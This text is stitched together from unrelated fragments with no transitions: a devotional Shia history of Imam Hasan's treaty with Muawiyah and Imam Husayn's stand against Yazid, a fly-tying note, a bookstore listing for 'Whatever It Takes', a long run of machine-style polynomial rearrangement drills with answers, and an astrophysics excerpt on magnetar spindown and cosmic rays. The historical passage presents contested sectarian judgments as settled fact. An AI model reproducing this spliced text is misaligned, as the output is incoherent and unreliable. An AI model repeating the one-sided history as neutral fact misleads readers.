attempt justice and peace, Imam Hasan(as), the true leader of Muslims after ′Ali’s(as) death, signed a peace treaty with Muawiyah on the 5th of Jumada I, in the year 41 Hijrah (661 CE). The following is a translation of the original treaty: “In the name of God, the Most Kind, the Most Merciful. The following shows how Hasan Ibn ′Ali Ibn Abi Talib(as) made peace with Muawiyah Ibn Abu Sufyan. He made peace with him on the condition that he takes over the command of the Muslims, rule them according to the Book of God and the tradition of His Prophet; that Muawiyah would not pledge the Caliphate to anyone; that the people would have peace wherever they live in the land of God, whether in Syria, the Yemen, Iraq or the Hijaz; that ′Ali’s(as) companions and his followers, their persons, their money, their wives, and their children would be safe wherever they were; that Muawiyah pledges this before God; that he would harbor no evil or harmful schemes, whether in secret or in the open, towards Hasan Ibn ′Ali(as), his brother Husayn(as) or any of the People of the House of the Messenger of God; that he would not terrorize them in any respect.” However, immediately after signing the treaty, Muawiyah said, “I trample this treaty under my feet!” He announced that he is creating the Umayyad dynasty and that when he dies, his son Yazid would succeed him as a king. This goes against Islamic principles of election and justice in leadership in accordance with the Holy Quran and the tradition of the Prophet. Even though Muawiyah broke his agreement in the treaty and was going against Islamic principles, he warned his son, Yazid, not to kill Imam Husayn(as). Although Yazid wanted to rule the Islamic Nation and perpetuate his father’s Umayyad dynasty, he chose to ignore his father’s advice about Husayn(as). Muawiyah and his Umayyad dynasty operated by deception, bribery, bloody violence, and fear, and that is how his son Yazid forced the people to obey him as king. Imam Husayn(as): After examining all of the facts involved, it becomes very clear that Imam Husayn(as) was fully aware of his situation. Because he was the grandson of Prophet Muhammad(pbuh and the spiritual leader of the community, and Yazid was a drunkard, womanizer, and cold‑blooded murderer, the Imam had no choice but to stand up to the unjust Umayyad Dynasty. The Imam even mentioned that if everyone were to pay allegiance to Yazid, “Say goodbye to Islam.” There can be no doubt that the Imam knew that if he had paid allegiance to a drunkard who was not qualified for leadership, the Islamic Nation would have fallen apart. That is why the Imam made it very clear to everyone that his mission was to save the pure principles of Islam and fight against the evil people who try to destroy its purity. The Imam’s acute awareness of the political and social situation at that time is clear from his many sayings to the people and his sermons. Many times people tried to convince the Imam not to go to Kufah, but he always refused, even though he knew he would be killed. Also, on several occasions when the Imam’s camp was faced with a military confrontation, Imam Husayn(as) refused the requests of his people to initiate a battle and kill the enemy. The Imam refused and chose to avoid bloodshed by any means possible. Furthermore, the Imam repeatedly insisted upon his followers to leave and save their own lives. So, we can see that the Imam was not being manipulated by forces out of his control. As a matter of fact, he was conscious of every decision he made and he always thought carefully before making any decision, because his main concern was to preserve the pure spirituality of the Islamic Nation. In short, the Imam knew that the people did not fully understand how evil Yazid was, and he knew that the only way to awaken the people was by showing them how far Yazid would go to stay in power that he would even spill the blood of the grandson of Prophet Muhammad(pbuh). In fact, the martyrdom of Imam Husayn(as) marked the beginning of the end of the Umayyad dynasty. “The progress of Islam does not depend on the use of sword, but on the supreme sacrife of Imam Husayn(as) and I learnt from Imam Husayn(as) how to achieve victory whilst being oppressed”Here is a first atempt at a Carrie Stevens streamer pattern I took from her book and tyed according to instructions.. Basically prepareing the wings in advance by glueing the layers on before putting them on the fly.Whatever It Takes Whatever It Takes Geoffrey Canada's Quest to Change Harlem and Amer EAN: 9780547247960 Release Date: 9/10/2009 LIST PRICE: $14.95 (you save $1.96) $12.99 New $7.99 Pre-owned This item is not available at this time. In stock - will ship Friday Add To Basket SHARE What would it take? That was the question that Geoffrey Canada found himself asking. What would it take to change the lives of poor childrennot one by one, through heroic interventions and occasional miracles, but in big numbers, and in a way that could be replicated nationwide? The question led him to create the Harlem Children’s Zone, a ninety-seven-block laboratory in central Harlem where he is testing new and sometimes controversial ideas about poverty in America. His conclusion: if you want poor kids to be able to compete with their middle-class peers, you need to change everything in their livestheir schools, their neighborhoods, even the child-rearing practices of their parents. Whatever It Takes is a tour de force of reporting, an inspired portrait not only of Geoffrey Canada but of the parents and children in Harlem who are struggling to better their lives, often against great odds. Carefully researched and deeply affecting, this is a dispatch from inside the most daring and potentially transformative social experiment of our time. ""When it comes to an introduction about poverty and parenting in urban America, you could hardly do better than [WHATEVER IT TAKES].""---New York Times Book Review ""This is a serious book about a pressing issue, but Tough manages to make it an easy read with a cast of sympathetic

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Rearrange 0*t**4 - 6*t**3 - 4*t**3 - 89 + 87 + t**4 + t to the form h*t**4 + b*t**2 + g + d*t**3 + u*t and give g. -2 Rearrange -2 + 6*v - 2*v**2 + 5*v - 6*v + 43*v**3 - 46*v**3 to p*v + u*v**3 + x + c*v**2 and give p. 5 Express (-5*p - 3*p - p)*(20*p - 48*p - 3*p + (4 + 0 - 6)*(6*p - 4*p - p)) in the form r*p**2 + s*p + t and give r. 297 Rearrange 316 + 2633*f - 316 to x*f + v and give x. 2633 Express (-4 + 4 - 3*s)*(-345 - 239 + 448) in the form u*s + t and give u. 408 Express -46 + 18 - 5 + v**2 - 2*v**3 + 11*v**2 + 14 in the form t + s*v**2 + r*v**3 + z*v and give s. 12 Express (0*f - 2*f**2 + 0*f)*(188 - 134 - 3722*f - 54) as b*f**2 + w*f**3 + l*f + r and give w. 7444 Express (-15*q + 5*q + 11*q + 6)*(-3 + 6 + 2 + (2 + 3 - 3)*(-1 + 5 - 3) - 1 + 2 - 2 - 4 + 4 - 2) as s + k*q and give k. 4 Rearrange (j - 26*j - 4*j + 2)*(10 + 0 - 1) to d*j + p and give p. 18 Express 8*t**2 - 10*t - t**2 - 9*t**2 - 1 - 3*t in the form h + j*t + k*t**2 and give j. -13 Express (2 - 2 + 4*f)*(1 + 257*f + 4 - 5) in the form j + d*f + x*f**2 and give j. 0 Express -47*h - 123*h - 37*h + 21*h - 89*h as z + n*h and give n. -275 Express (1 + 3 + 0)*(3 - 3 + u) + 1 + 13*u + 9*u - 24*u as t*u + a and give a. 1 Rearrange 16 - 16 + 58*d + 10*d + 26 - 26 - 2*d - 4*d + 5*d + (-3*d - 2*d + 6*d)*(0 + 0 - 1) to l + v*d and give v. 66 Rearrange -2 + 12*t**4 + t - 23*t**4 - t**3 + 8*t**4 + 2*t**3 - t**2 to the form o*t**2 + y*t**3 + m + s*t + q*t**4 and give q. -3 Express (-2*p + 627 - 627)*(-5*p**2 + 3*p**2 - 4*p**2)*(0*p + 0*p + p) as r*p + u*p**3 + m + n*p**4 + f*p**2 and give n. 12 Express (-4*p + 0*p + 2*p)*(2 + 1 - 2)*(36 + 5 - 4)*(-4*p + 4*p - 2*p) as i*p**2 + l + f*p and give i. 148 Rearrange -9*u**2 - 2*u + 19*u**2 - 29*u - 12*u**2 to l + x*u + g*u**2 and give x. -31 Rearrange 5 - 5 - u**2 + 3*u**2 + 36*u**2 to the form i*u + y*u**2 + h and give h. 0 Rearrange (-2*x + x + 3 + 1)*(0*x + 2*x - 4*x)*(19*x - 2 + 2) to d*x + o*x**2 + c*x**3 + p and give c. 38 Rearrange p**3 + 2 + 15*p**3 + 125*p**3 + 0 to the form v*p**3 + j + f*p**2 + n*p and give v. 141 Rearrange -3 - 8 + 16 - 7 - 879*f**2 to the form u*f + b*f**2 + r and give r. -2 Express 1 + 3 + 17*w - 4 + 98*w in the form p*w + h and give p. 115 Express 119*d**4 - 2*d - 379*d**4 + 13*d**2 - 14*d**2 as t*d**2 + w*d**3 + r*d + x + a*d**4 and give a. -260 Express 16 + 2*a**4 + 19 + 0*a**4 + 22 - 60 - a**2 + 10*a**3 in the form r*a**4 + i*a + t*a**2 + q*a**3 + p and give q. 10 Rearrange -34*i - 127*i + 21*i - 111*i - 211*i to the form p*i + s and give p. -462 Rearrange -35 - g - 15 + 8 to m + o*g and give o. -1 Express 2*b**2 + b**2 - b**2 + (546*b - 969*b + 2 + 547*b)*(3*b + 0*b - 2*b) as w + p*b**2 + t*b and give p. 126 Rearrange ((4 - 4 + i)*(2*i - i + 0*i) + 2801*i**2 + i - 3367*i**2 - i)*(3 - 4 + 0) to the form a + j*i + u*i**2 and give u. 565 Rearrange -18*s**3 + 9*s**3 - 2*s - s**2 + 0 - 2*s**3 + 3 to p*s**3 + o*s + j + g*s**2 and give p. -11 Rearrange -110*c + 922*c + 462*c to the form a*c + i and give a. 1274 Rearrange (-t + 1 - 1 + (2 + 11 - 8)*(-t + 4*t - 2*t)*(1 - 5 + 5))*(92 - 95*t - 92) to y + k*t**2 + f*t and give k. -380 Express 6 - j**4 + 2*j**3 + 18 - 24 - 55*j**2 + 184*j**2 as c*j + r*j**3 + y + o*j**2 + x*j**4 and give o. 129 Rearrange (-j - 3*j + 3*j)*(0*j**2 - 3*j**2 + 2*j**2) + (188*j**2 - 140*j**2 + 202*j**2)*(-1 + 1 - 2*j) to the form m*j + f*j**2 + k + g*j**3 and give g. -499 Rearrange 316*h**2 + 306*h**2 + 6*h**2 + 83*h**2 - 173*h**2 to c + d*h + y*h**2 and give y. 538 Express 2 - 15*d**3 + 8*d**3 + 5*d**3 as p*d + g + l*d**3 + q*d**2 and give g. 2 Express (-3 + 6 + 1)*(-84 + 80 - 4*o - o) in the form m*o + x and give x. -16 Express (2*l - 5*l + 5*l)*(-2*l - l + 5*l) + 0*l**2 + 4*l**2 - 5*l**2 - 6*l**2 - 53*l + 53*l + 2*l**2 - 4*l**2 + l**2 in the form g + k*l + c*l**2 and give c. -4 Rearrange (-p - 1 - 1 + 1)*(8 - 3 + 33) - 3*p + 2*p + 3*p to the form x + j*p and give x. -38 Rearrange 142*v**2 + 60*v**2 + 29*v**2 to the form x*v + k*v**2 + u and give k. 231 Rearrange -2 + 0 - 39595*c + 39026*c to the form k + f*c and give

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left(\frac{\Omega R}{c} \right)^2 \alpha^2, \label{eq:Rmode_loss}$$ where $R$ is the stellar radius. The same calculation as in §\[sec:spectrum\], with R mode losses replacing those due to a static quadrupole moment, leads to $$\frac{d N_i}{d\gamma} = \frac{d N_i}{dt}\left(-\frac{dt}{d\Omega}\right)mc^2 \frac{d\Omega}{dE} = \frac{9}{4} \frac{c^2 I}{Z e \mu \gamma} \left[ 1 + \left(\frac{\gamma}{\gamma_g}\right)^2 \right]^{-1}, \label{eq:Rmode-diff-inj-rate}$$ replacing expression (\[eq:diff-inj-rate\]), [*assuming*]{} $\alpha =$ constant during the spindown, as in the model of Owen [*et al.*]{}. In (\[eq:Rmode-diff-inj-rate\]), the characteristic energy above which gravitational wave losses affect the spectrum now is $$E_g = m_ic^2 \gamma_g = \frac{Ze\eta \mu}{c^2} \left(\frac{104}{384} \frac{\mu^2 c^4}{GI^2 R^2 \alpha^2 }\right)^{1/2} = 6 \times 10^{20} \frac{Z\eta_1 \mu_{33}^2}{I_{45} R_{10} \alpha } \; {\rm eV},$$ with $R_{10} = R/10$ km. If $\alpha$ were large, $E_g (\alpha)$ might be low enough to yield a steepened high energy injection spectrum and a GZK pileup. However, recently Arras [*et al.*]{} (2003) provided the theory for $\alpha$ as a function of $\Omega$, showing that damping in the neutron star’s interior, through coupling between R modes and internal g modes, keeps $\alpha $ small. In the notation used here, their theory provides $\alpha = 0.025 \Omega_4^{5/2}$. The gravitational wave spindown rate is now proportional to $\Omega^{12}$, instead of $\Omega^5$ (static quadupole) or $\Omega^7$ (Rossby modes with constant $\alpha$.) The injection spectrum still is given by (\[eq:Rmode-diff-inj-rate\]), but now with $(\gamma /\gamma_g)^2$ replaced by $(\gamma /\gamma_g)^{9/2}$, and with $ E_g = m_ic^2 \gamma_g = 10^{21} Z\eta_1 \mu_{33}^{13/9} /(I_{45} R_{10})^{4/9}$ eV. Gravitational wave losses due to the R mode instability therefore have negligible effect on the ability of the magnetar model to account for [*existing*]{} UHECR observations. They do suggest a very hard cutoff of the spectrum, above $10^{21}$ eV. Abu-Zayyad, T., Archbold, G., Bellido, J.A., [*et al.*]{}, 2002a, submitted to (astrop-ph/0208243) Abu-Zayyad, T., Archbold, G., Bellido, J.A., [*et al.*]{}, 2002b, submitted to Astroparticle Phys. (astro-ph/0208243) Adams, F.C., Freese, K., Laughlin, G., [*et al.*]{} 1997,, 491, 6 Andersson, N. 1998,, 502, 708 Arons, J., and Lea, S.M. 1980,, 235, 1016 Arons, J. 2002, in ‘Neutron Stars and Supernova RemnantsÕ, P.O. Slane and B.M. Gaensler, eds. (San Francisco: Astronomical Society of the Pacific), 71 (astro-ph/0201439) Arras, P., Flanagan, E.A., Morsink, S., [*et al.*]{}, 2003,, in press (astro-ph/0202345) Baring, M., and Harding, A.K. 2001,, 547, 929 Bahcall, J.N., and Waxman, E. 2003, Phys. Lett. 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